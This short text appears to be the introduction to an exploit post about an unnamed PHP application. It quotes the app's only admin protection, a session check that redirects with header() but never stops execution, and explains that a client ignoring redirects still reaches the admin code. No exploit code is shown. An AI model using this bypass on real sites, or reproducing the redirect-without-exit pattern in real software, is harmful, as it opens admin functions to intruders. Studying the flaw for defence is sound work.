Ver 1.1 - fixed for mq=on

---
Some one told me that this was absolutely a very good scritp..
i think that the programmer nearly do not know PHP..
why? this is the only protection for admin files:
------------------------------------
 session_start();
 
 if($_SESSION["valid"] != true)
 {
     header("Location: index.php");
 }
 
------------------------------------

do you remember that this one will only 'work' with normal browsers?
that the script will continue to be executed until the end?

this exploit only works with the conseguence of this..
